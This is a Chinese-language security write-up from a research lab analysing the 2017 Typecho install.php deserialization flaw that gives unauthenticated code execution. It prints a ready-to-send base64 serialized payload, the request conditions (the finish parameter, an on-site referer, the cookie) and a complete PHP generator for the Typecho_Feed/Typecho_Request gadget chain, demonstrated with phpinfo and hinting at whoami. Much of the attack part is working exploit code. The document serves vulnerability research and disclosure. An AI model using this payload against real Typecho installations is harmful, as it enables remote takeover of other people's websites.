Typecho 前台 getshell 漏洞分析
作者:LoRexxar’@知道创宇404实验室
0x01 简述
Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。
2017年10月13日,Typecho爆出前台代码执行漏洞,知道创宇404团队研究人员成功复现了该漏洞。
经过分析确认,该漏洞可以无限制执行代码,通过这种方式可以导致getshell。
0x02 复现
打开安装好的Typecho
生成对应的payload
1 |
<ol class="linenums"><li class="L0"><code><span class="typ">YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9</span></code></li></ol> |
设置相应的cookie并发送请求向
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">http</span><span class="pun">:</span><span class="com">//127.0.0.1/install.php?finish</span></code></li></ol> |
成功执行phpinfo
0x03 漏洞分析
漏洞的入口点在install.php,进入install.php首先经过两个判断
1 |
<ol class="linenums"><li class="L0"><code><span class="com">//判断是否已经安装</span></code></li><li class="L1"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$_GET</span><span class="pun">[</span><span class="str">'finish'</span><span class="pun">])</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> file_exists</span><span class="pun">(</span><span class="pln">__TYPECHO_ROOT_DIR__ </span><span class="pun">.</span><span class="pln"> </span><span class="str">'/config.inc.php'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> empty</span><span class="pun">(</span><span class="pln">$_SESSION</span><span class="pun">[</span><span class="str">'typecho'</span><span class="pun">]))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="com">// 挡掉可能的跨站请求</span></code></li><li class="L6"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$_GET</span><span class="pun">)</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> </span><span class="pun">!</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$_SERVER</span><span class="pun">[</span><span class="str">'HTTP_REFERER'</span><span class="pun">]))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> $parts </span><span class="pun">=</span><span class="pln"> parse_url</span><span class="pun">(</span><span class="pln">$_SERVER</span><span class="pun">[</span><span class="str">'HTTP_REFERER'</span><span class="pun">]);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$parts</span><span class="pun">[</span><span class="str">'port'</span><span class="pun">]))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> $parts</span><span class="pun">[</span><span class="str">'host'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">"{$parts['host']}:{$parts['port']}"</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$parts</span><span class="pun">[</span><span class="str">'host'</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> $_SERVER</span><span class="pun">[</span><span class="str">'HTTP_HOST'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">!=</span><span class="pln"> $parts</span><span class="pun">[</span><span class="str">'host'</span><span class="pun">])</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L9"><code><span class="pun">}</span></code></li></ol> |
只要传入GET参数finish,并设置referer为站内url即可。
跟入代码,找到漏洞点入口点,install.php 232行到237行
看起来比较清楚,一个比较明显的反序列化漏洞
问题在于如何利用,反序列化能够利用的点必须要有相应的魔术方法配合。其中比较关键的只有几个。
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">__destruct</span><span class="pun">()</span></code></li><li class="L1"><code><span class="pln">__wakeup</span><span class="pun">()</span></code></li><li class="L2"><code><span class="pln">__toString</span><span class="pun">()</span></code></li></ol> |
其中__destruct()
是在对象被销毁的时候自动调用,__Wakeup
在反序列化的时候自动调用,__toString()
是在调用对象的时候自动调用。
这里如果构造的反序列化是一个数组,其中adapter设置为某个类,就可以触发相应类的__toString
方法
寻找所有的toString方法,我暂时只找到一个可以利用的的类方法。
/var/Typecho/Feed.php 文件223行
顺着分析tostring函数
290行 调用了$item['author']->screenName
,这是一个当前类的私有变量
358行 同样调用了同样的变量,这里应该也是可以利用的
这里要提到一个特殊的魔术方法__get
,__get
会在读取不可访问的属性的值的时候调用,我们可以通过设置item来调用某个位置的__get
魔术方法,让我们接着寻找。
/var/Typecho/Request.php 第269行应该是唯一一个可利用的__get
方法.
跟入get函数
最后进入159行 applyFilter函数
我们找到了call_user_func
函数,回溯整个利用链
我们可以通过设置item['author']
来控制Typecho_Request
类中的私有变量,这样类中的_filter
和_params['screenName']
都可控,call_user_func
函数变量可控,任意代码执行。
但是当我们按照上面的所有流程构造poc之后,发请求到服务器,却会返回500.
回顾一下代码
在install.php的开始,调用了ob_start()
在php.net上关于ob_start
的解释是这样的。
因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()
执行,原本的输出会在缓冲区被清理。
我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。
这里有两个办法。
1、因为call_user_func
函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。
2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。
解决了这个问题,整个利用ROP链就成立了
0x04 poc
1 |
<ol class="linenums"><li class="L0"><code><span class="pun"><?</span><span class="pln">php</span></code></li><li class="L1"><code><span class="kwd">class</span><span class="pln"> </span><span class="typ">Typecho_Request</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">private</span><span class="pln"> $_params </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">private</span><span class="pln"> $_filter </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">public</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> __construct</span><span class="pun">()</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="com">// $this->_params['screenName'] = 'whoami';</span></code></li><li class="L9"><code><span class="pln"> $this</span><span class="pun">-></span><span class="pln">_params</span><span class="pun">[</span><span class="str">'screenName'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">-</span><span class="lit">1</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> $this</span><span class="pun">-></span><span class="pln">_filter</span><span class="pun">[</span><span class="lit">0</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'phpinfo'</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code><span class="pun">}</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="kwd">class</span><span class="pln"> </span><span class="typ">Typecho_Feed</span></code></li><li class="L5"><code><span class="pun">{</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">const</span><span class="pln"> RSS2 </span><span class="pun">=</span><span class="pln"> </span><span class="str">'RSS 2.0'</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="com">/** 定义ATOM 1.0类型 */</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">const</span><span class="pln"> ATOM1 </span><span class="pun">=</span><span class="pln"> </span><span class="str">'ATOM 1.0'</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="com">/** 定义RSS时间格式 */</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">const</span><span class="pln"> DATE_RFC822 </span><span class="pun">=</span><span class="pln"> </span><span class="str">'r'</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="com">/** 定义ATOM时间格式 */</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">const</span><span class="pln"> DATE_W3CDTF </span><span class="pun">=</span><span class="pln"> </span><span class="str">'c'</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/** 定义行结束符 */</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">const</span><span class="pln"> EOL </span><span class="pun">=</span><span class="pln"> </span><span class="str">"\n"</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">private</span><span class="pln"> $_type</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">private</span><span class="pln"> $_items </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">public</span><span class="pln"> $dateFormat</span><span class="pun">;</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">public</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> __construct</span><span class="pun">()</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> $this</span><span class="pun">-></span><span class="pln">_type </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">::</span><span class="pln">RSS2</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> $item</span><span class="pun">[</span><span class="str">'link'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'1'</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> $item</span><span class="pun">[</span><span class="str">'title'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'2'</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> $item</span><span class="pun">[</span><span class="str">'date'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1507720298</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> $item</span><span class="pun">[</span><span class="str">'author'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> </span><span class="typ">Typecho_Request</span><span class="pun">();</span></code></li><li class="L6"><code><span class="pln"> $item</span><span class="pun">[</span><span class="str">'category'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">(</span><span class="kwd">new</span><span class="pln"> </span><span class="typ">Typecho_Request</span><span class="pun">());</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> $this</span><span class="pun">-></span><span class="pln">_items</span><span class="pun">[</span><span class="lit">0</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $item</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code><span class="pun">}</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">$x </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> </span><span class="typ">Typecho_Feed</span><span class="pun">();</span></code></li><li class="L3"><code><span class="pln">$a </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">(</span></code></li><li class="L4"><code><span class="pln"> </span><span class="str">'host'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'localhost'</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> </span><span class="str">'user'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'xxxxxx'</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> </span><span class="str">'charset'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'utf8'</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> </span><span class="str">'port'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'3306'</span><span class="pun">,</span></code></li><li class="L8"><code><span class="pln"> </span><span class="str">'database'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'typecho'</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> </span><span class="str">'adapter'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> $x</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> </span><span class="str">'prefix'</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">'typecho_'</span></code></li><li class="L1"><code><span class="pun">);</span></code></li><li class="L2"><code><span class="pln">echo urlencode</span><span class="pun">(</span><span class="pln">base64_encode</span><span class="pun">(</span><span class="pln">serialize</span><span class="pun">(</span><span class="pln">$a</span><span class="pun">)));</span></code></li><li class="L3"><code><span class="pun">?></span></code></li></ol> |
0x05 Reference
-
[1] Typecho官网
-
[2] Typecho github链接
-
[3] Typecho 官方补丁
- [4] Typecho install.php 反序列化导致任意代码执行
0x06 后记
我们在10月25日收到p0的漏洞分析投稿http://p0sec.net/index.php/archives/114//http://p0sec.net/index.php/archives/114/,与我们撞洞了,这里一并表示感谢。